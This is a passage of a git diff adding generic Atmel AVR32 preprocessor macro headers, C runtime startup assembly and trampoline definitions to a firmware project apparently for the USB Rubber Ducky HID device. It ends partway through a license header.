MREPEAT131(macro, data) MREPEAT130(macro, data) macro(130, data) +#define MREPEAT132(macro, data) MREPEAT131(macro, data) macro(131, data) +#define MREPEAT133(macro, data) MREPEAT132(macro, data) macro(132, data) +#define MREPEAT134(macro, data) MREPEAT133(macro, data) macro(133, data) +#define MREPEAT135(macro, data) MREPEAT134(macro, data) macro(134, data) +#define MREPEAT136(macro, data) MREPEAT135(macro, data) macro(135, data) +#define MREPEAT137(macro, data) MREPEAT136(macro, data) macro(136, data) +#define MREPEAT138(macro, data) MREPEAT137(macro, data) macro(137, data) +#define MREPEAT139(macro, data) MREPEAT138(macro, data) macro(138, data) +#define MREPEAT140(macro, data) MREPEAT139(macro, data) macro(139, data) +#define MREPEAT141(macro, data) MREPEAT140(macro, data) macro(140, data) +#define MREPEAT142(macro, data) MREPEAT141(macro, data) macro(141, data) +#define MREPEAT143(macro, data) MREPEAT142(macro, data) macro(142, data) +#define MREPEAT144(macro, data) MREPEAT143(macro, data) macro(143, data) +#define MREPEAT145(macro, data) MREPEAT144(macro, data) macro(144, data) +#define MREPEAT146(macro, data) MREPEAT145(macro, data) macro(145, data) +#define MREPEAT147(macro, data) MREPEAT146(macro, data) macro(146, data) +#define MREPEAT148(macro, data) MREPEAT147(macro, data) macro(147, data) +#define MREPEAT149(macro, data) MREPEAT148(macro, data) macro(148, data) +#define MREPEAT150(macro, data) MREPEAT149(macro, data) macro(149, data) +#define MREPEAT151(macro, data) MREPEAT150(macro, data) macro(150, data) +#define MREPEAT152(macro, data) MREPEAT151(macro, data) macro(151, data) +#define MREPEAT153(macro, data) MREPEAT152(macro, data) macro(152, data) +#define MREPEAT154(macro, data) MREPEAT153(macro, data) macro(153, data) +#define MREPEAT155(macro, data) MREPEAT154(macro, data) macro(154, data) +#define MREPEAT156(macro, data) MREPEAT155(macro, data) macro(155, data) +#define MREPEAT157(macro, data) MREPEAT156(macro, data) macro(156, data) +#define MREPEAT158(macro, data) MREPEAT157(macro, data) macro(157, data) +#define MREPEAT159(macro, data) MREPEAT158(macro, data) macro(158, data) +#define MREPEAT160(macro, data) MREPEAT159(macro, data) macro(159, data) +#define MREPEAT161(macro, data) MREPEAT160(macro, data) macro(160, data) +#define MREPEAT162(macro, data) MREPEAT161(macro, data) macro(161, data) +#define MREPEAT163(macro, data) MREPEAT162(macro, data) macro(162, data) +#define MREPEAT164(macro, data) MREPEAT163(macro, data) macro(163, data) +#define MREPEAT165(macro, data) MREPEAT164(macro, data) macro(164, data) +#define MREPEAT166(macro, data) MREPEAT165(macro, data) macro(165, data) +#define MREPEAT167(macro, data) MREPEAT166(macro, data) macro(166, data) +#define MREPEAT168(macro, data) MREPEAT167(macro, data) macro(167, data) +#define MREPEAT169(macro, data) MREPEAT168(macro, data) macro(168, data) +#define MREPEAT170(macro, data) MREPEAT169(macro, data) macro(169, data) +#define MREPEAT171(macro, data) MREPEAT170(macro, data) macro(170, data) +#define MREPEAT172(macro, data) MREPEAT171(macro, data) macro(171, data) +#define MREPEAT173(macro, data) MREPEAT172(macro, data) macro(172, data) +#define MREPEAT174(macro, data) MREPEAT173(macro, data) macro(173, data) +#define MREPEAT175(macro, data) MREPEAT174(macro, data) macro(174, data) +#define MREPEAT176(macro, data) MREPEAT175(macro, data) macro(175, data) +#define MREPEAT177(macro, data) MREPEAT176(macro, data) macro(176, data) +#define MREPEAT178(macro, data) MREPEAT177(macro, data) macro(177, data) +#define MREPEAT179(macro, data) MREPEAT178(macro, data) macro(178, data) +#define MREPEAT180(macro, data) MREPEAT179(macro, data) macro(179, data) +#define MREPEAT181(macro, data) MREPEAT180(macro, data) macro(180, data) +#define MREPEAT182(macro, data) MREPEAT181(macro, data) macro(181, data) +#define MREPEAT183(macro, data) MREPEAT182(macro, data) macro(182, data) +#define MREPEAT184(macro, data) MREPEAT183(macro, data) macro(183, data) +#define MREPEAT185(macro, data) MREPEAT184(macro, data) macro(184, data) +#define MREPEAT186(macro, data) MREPEAT185(macro, data) macro(185, data) +#define MREPEAT187(macro, data) MREPEAT186(macro, data) macro(186, data) +#define MREPEAT188(macro, data) MREPEAT187(macro, data) macro(187, data) +#define MREPEAT189(macro, data) MREPEAT188(macro, data) macro(188, data) +#define MREPEAT190(macro, data) MREPEAT189(macro, data) macro(189, data) +#define MREPEAT191(macro, data) MREPEAT190(macro, data) macro(190, data) +#define MREPEAT192(macro, data) MREPEAT191(macro, data) macro(191, data) +#define MREPEAT193(macro, data) MREPEAT192(macro, data) macro(192, data) +#define MREPEAT194(macro, data) MREPEAT193(macro, data) macro(193, data) +#define MREPEAT195(macro, data) MREPEAT194(macro, data) macro(194, data) +#define MREPEAT196(macro, data) MREPEAT195(macro, data) macro(195, data) +#define MREPEAT197(macro, data) MREPEAT196(macro, data) macro(196, data) +#define MREPEAT198(macro, data) MREPEAT197(macro, data) macro(197, data) +#define MREPEAT199(macro, data) MREPEAT198(macro, data) macro(198, data) +#define MREPEAT200(macro, data) MREPEAT199(macro, data) macro(199, data) +#define MREPEAT201(macro, data) MREPEAT200(macro, data) macro(200, data) +#define MREPEAT202(macro, data) MREPEAT201(macro, data) macro(201, data) +#define MREPEAT203(macro, data) MREPEAT202(macro, data) macro(202, data) +#define MREPEAT204(macro, data) MREPEAT203(macro, data) macro(203, data) +#define MREPEAT205(macro, data) MREPEAT204(macro, data) macro(204, data) +#define MREPEAT206(macro, data) MREPEAT205(macro, data) macro(205, data) +#define MREPEAT207(macro, data) MREPEAT206(macro, data) macro(206, data) +#define MREPEAT208(macro, data) MREPEAT207(macro, data) macro(207, data) +#define MREPEAT209(macro, data) MREPEAT208(macro, data) macro(208, data) +#define MREPEAT210(macro, data) MREPEAT209(macro, data) macro(209, data) +#define MREPEAT211(macro, data) MREPEAT210(macro, data) macro(210, data) +#define MREPEAT212(macro, data) MREPEAT211(macro, data) macro(211, data) +#define MREPEAT213(macro, data) MREPEAT212(macro, data) macro(212, data) +#define MREPEAT214(macro, data) MREPEAT213(macro, data) macro(213, data) +#define MREPEAT215(macro, data) MREPEAT214(macro, data) macro(214, data) +#define MREPEAT216(macro, data) MREPEAT215(macro, data) macro(215, data) +#define MREPEAT217(macro, data) MREPEAT216(macro, data) macro(216, data) +#define MREPEAT218(macro, data) MREPEAT217(macro, data) macro(217, data) +#define MREPEAT219(macro, data) MREPEAT218(macro, data) macro(218, data) +#define MREPEAT220(macro, data) MREPEAT219(macro, data) macro(219, data) +#define MREPEAT221(macro, data) MREPEAT220(macro, data) macro(220, data) +#define MREPEAT222(macro, data) MREPEAT221(macro, data) macro(221, data) +#define MREPEAT223(macro, data) MREPEAT222(macro, data) macro(222, data) +#define MREPEAT224(macro, data) MREPEAT223(macro, data) macro(223, data) +#define MREPEAT225(macro, data) MREPEAT224(macro, data) macro(224, data) +#define MREPEAT226(macro, data) MREPEAT225(macro, data) macro(225, data) +#define MREPEAT227(macro, data) MREPEAT226(macro, data) macro(226, data) +#define MREPEAT228(macro, data) MREPEAT227(macro, data) macro(227, data) +#define MREPEAT229(macro, data) MREPEAT228(macro, data) macro(228, data) +#define MREPEAT230(macro, data) MREPEAT229(macro, data) macro(229, data) +#define MREPEAT231(macro, data) MREPEAT230(macro, data) macro(230, data) +#define MREPEAT232(macro, data) MREPEAT231(macro, data) macro(231, data) +#define MREPEAT233(macro, data) MREPEAT232(macro, data) macro(232, data) +#define MREPEAT234(macro, data) MREPEAT233(macro, data) macro(233, data) +#define MREPEAT235(macro, data) MREPEAT234(macro, data) macro(234, data) +#define MREPEAT236(macro, data) MREPEAT235(macro, data) macro(235, data) +#define MREPEAT237(macro, data) MREPEAT236(macro, data) macro(236, data) +#define MREPEAT238(macro, data) MREPEAT237(macro, data) macro(237, data) +#define MREPEAT239(macro, data) MREPEAT238(macro, data) macro(238, data) +#define MREPEAT240(macro, data) MREPEAT239(macro, data) macro(239, data) +#define MREPEAT241(macro, data) MREPEAT240(macro, data) macro(240, data) +#define MREPEAT242(macro, data) MREPEAT241(macro, data) macro(241, data) +#define MREPEAT243(macro, data) MREPEAT242(macro, data) macro(242, data) +#define MREPEAT244(macro, data) MREPEAT243(macro, data) macro(243, data) +#define MREPEAT245(macro, data) MREPEAT244(macro, data) macro(244, data) +#define MREPEAT246(macro, data) MREPEAT245(macro, data) macro(245, data) +#define MREPEAT247(macro, data) MREPEAT246(macro, data) macro(246, data) +#define MREPEAT248(macro, data) MREPEAT247(macro, data) macro(247, data) +#define MREPEAT249(macro, data) MREPEAT248(macro, data) macro(248, data) +#define MREPEAT250(macro, data) MREPEAT249(macro, data) macro(249, data) +#define MREPEAT251(macro, data) MREPEAT250(macro, data) macro(250, data) +#define MREPEAT252(macro, data) MREPEAT251(macro, data) macro(251, data) +#define MREPEAT253(macro, data) MREPEAT252(macro, data) macro(252, data) +#define MREPEAT254(macro, data) MREPEAT253(macro, data) macro(253, data) +#define MREPEAT255(macro, data) MREPEAT254(macro, data) macro(254, data) +#define MREPEAT256(macro, data) MREPEAT255(macro, data) macro(255, data) + + +#endif // _MREPEAT_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/preprocessor/preprocessor.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/preprocessor/preprocessor.h new file mode 100755 index 0000000..32677c9 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/preprocessor/preprocessor.h @@ -0,0 +1,53 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Preprocessor utils. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _PREPROCESSOR_H_ +#define _PREPROCESSOR_H_ + +#include "tpaste.h" +#include "stringz.h" +#include "mrepeat.h" + + +#endif // _PREPROCESSOR_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/preprocessor/stringz.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/preprocessor/stringz.h new file mode 100755 index 0000000..4773d07 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/preprocessor/stringz.h @@ -0,0 +1,73 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Preprocessor stringizing utils. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _STRINGZ_H_ +#define _STRINGZ_H_ + + +/*! \brief Stringize. + * + * Stringize a preprocessing token, this token being allowed to be \#defined. + * + * May be used only within macros with the token passed as an argument if the token is \#defined. + * + * For example, writing STRINGZ(PIN) within a macro \#defined by PIN_NAME(PIN) + * and invoked as PIN_NAME(PIN0) with PIN0 \#defined as A0 is equivalent to + * writing "A0". + */ +#define STRINGZ(x) #x + +/*! \brief Absolute stringize. + * + * Stringize a preprocessing token, this token being allowed to be \#defined. + * + * No restriction of use if the token is \#defined. + * + * For example, writing ASTRINGZ(PIN0) anywhere with PIN0 \#defined as A0 is + * equivalent to writing "A0". + */ +#define ASTRINGZ(x) STRINGZ(x) + + +#endif // _STRINGZ_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/preprocessor/tpaste.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/preprocessor/tpaste.h new file mode 100755 index 0000000..26a7d95 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/preprocessor/tpaste.h @@ -0,0 +1,93 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Preprocessor token pasting utils. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _TPASTE_H_ +#define _TPASTE_H_ + + +/*! \name Token Paste + * + * Paste N preprocessing tokens together, these tokens being allowed to be \#defined. + * + * May be used only within macros with the tokens passed as arguments if the tokens are \#defined. + * + * For example, writing TPASTE2(U, WIDTH) within a macro \#defined by + * UTYPE(WIDTH) and invoked as UTYPE(UL_WIDTH) with UL_WIDTH \#defined as 32 is + * equivalent to writing U32. + */ +//! @{ +#define TPASTE2( a, b) a##b +#define TPASTE3( a, b, c) a##b##c +#define TPASTE4( a, b, c, d) a##b##c##d +#define TPASTE5( a, b, c, d, e) a##b##c##d##e +#define TPASTE6( a, b, c, d, e, f) a##b##c##d##e##f +#define TPASTE7( a, b, c, d, e, f, g) a##b##c##d##e##f##g +#define TPASTE8( a, b, c, d, e, f, g, h) a##b##c##d##e##f##g##h +#define TPASTE9( a, b, c, d, e, f, g, h, i) a##b##c##d##e##f##g##h##i +#define TPASTE10(a, b, c, d, e, f, g, h, i, j) a##b##c##d##e##f##g##h##i##j +//! @} + +/*! \name Absolute Token Paste + * + * Paste N preprocessing tokens together, these tokens being allowed to be \#defined. + * + * No restriction of use if the tokens are \#defined. + * + * For example, writing ATPASTE2(U, UL_WIDTH) anywhere with UL_WIDTH \#defined + * as 32 is equivalent to writing U32. + */ +//! @{ +#define ATPASTE2( a, b) TPASTE2( a, b) +#define ATPASTE3( a, b, c) TPASTE3( a, b, c) +#define ATPASTE4( a, b, c, d) TPASTE4( a, b, c, d) +#define ATPASTE5( a, b, c, d, e) TPASTE5( a, b, c, d, e) +#define ATPASTE6( a, b, c, d, e, f) TPASTE6( a, b, c, d, e, f) +#define ATPASTE7( a, b, c, d, e, f, g) TPASTE7( a, b, c, d, e, f, g) +#define ATPASTE8( a, b, c, d, e, f, g, h) TPASTE8( a, b, c, d, e, f, g, h) +#define ATPASTE9( a, b, c, d, e, f, g, h, i) TPASTE9( a, b, c, d, e, f, g, h, i) +#define ATPASTE10(a, b, c, d, e, f, g, h, i, j) TPASTE10(a, b, c, d, e, f, g, h, i, j) +//! @} + + +#endif // _TPASTE_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/startup/startup_uc3.S b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/startup/startup_uc3.S new file mode 100755 index 0000000..2a7f975 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/startup/startup_uc3.S @@ -0,0 +1,118 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief AVR32UC C runtime startup file. + * + * + * - Compiler: GNU GCC for AVR32 + * - Supported devices: All AVR32UC devices can be used. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#include + + +//! @{ +//! \verbatim + + + // This must be linked @ 0x80000000 if it is to be run upon reset. + .section .reset, "ax", @progbits + + + .global _start + .type _start, @function +_start: + // Jump to the C runtime startup routine. + lda.w pc, _stext + + + // _stext is placed outside the .reset section so that the program entry point + // can be changed without affecting the C runtime startup. + .section .text._stext, "ax", @progbits + + + .global _stext + .type _stext, @function +_stext: + // Set initial stack pointer. + lda.w sp, _estack + + // Set up EVBA so interrupts can be enabled. + lda.w r0, _evba + mtsr AVR32_EVBA, r0 + + // Enable the exception processing. + csrf AVR32_SR_EM_OFFSET + + // Load initialized data having a global lifetime from the data LMA. + lda.w r0, _data + lda.w r1, _edata + cp r0, r1 + brhs idata_load_loop_end + lda.w r2, _data_lma +idata_load_loop: + ld.d r4, r2++ + st.d r0++, r4 + cp r0, r1 + brlo idata_load_loop +idata_load_loop_end: + + // Clear uninitialized data having a global lifetime in the blank static storage section. + lda.w r0, __bss_start + lda.w r1, _end + cp r0, r1 + brhs udata_clear_loop_end + mov r2, 0 + mov r3, 0 +udata_clear_loop: + st.d r0++, r2 + cp r0, r1 + brlo udata_clear_loop +udata_clear_loop_end: + +#ifdef CONFIG_FRAME_POINTER + // Safety: Set the default "return" @ to the exit routine address. + lda.w lr, exit +#endif + + // Start the show. + lda.w pc, main + + +//! \endverbatim +//! @} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/startup/trampoline_uc3.S b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/startup/trampoline_uc3.S new file mode 100755 index 0000000..b86ee6d --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/startup/trampoline_uc3.S @@ -0,0 +1,75 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief AVR32 UC3 ISP trampoline. + * + * In order to be able to program a project with both BatchISP and JTAGICE mkII + * without having to take the general-purpose fuses into consideration, add this + * file to the project and change the program entry point to _trampoline. + * + * The pre-programmed ISP will be erased if JTAGICE mkII is used. + * + * - Compiler: GNU GCC for AVR32 + * - Supported devices: All AVR32UC devices can be used. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#include "trampoline_uc3.h" + + +//! @{ +//! \verbatim + + + // This must be linked @ 0x80000000 if it is to be run upon reset. + .section .reset, "ax", @progbits + + + .global _trampoline + .type _trampoline, @function +_trampoline: + // Jump to program start. + rjmp program_start + + .org PROGRAM_START_OFFSET +program_start: + // Jump to the C runtime startup routine. + lda.w pc, _stext + + +//! \endverbatim +//! @} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/startup/trampoline_uc3.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/startup/trampoline_uc3.h new file mode 100755 index 0000000..575815d --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/startup/trampoline_uc3.h @@ -0,0 +1,52 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ****************************************************************** + * + * \brief UC3 trampoline definitions (default size is 8KB) + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR UC3 devices. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ***************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _TRAMPOLINE_UC3_H_ +#define _TRAMPOLINE_UC3_H_ + +#define PROGRAM_START_ADDRESS (AVR32_FLASH_ADDRESS + PROGRAM_START_OFFSET) +#define PROGRAM_START_OFFSET 0x00002000 + +#endif // _TRAMPOLINE_UC3_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/status_codes.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/status_codes.h new file mode 100755 index 0000000..b4ddac5 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/status_codes.h @@ -0,0 +1,81 @@ +/** + * \file + * + * \brief Status code definitions. + * + * This file defines various status codes returned by functions, + * indicating success or failure as well as what kind of failure. + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY 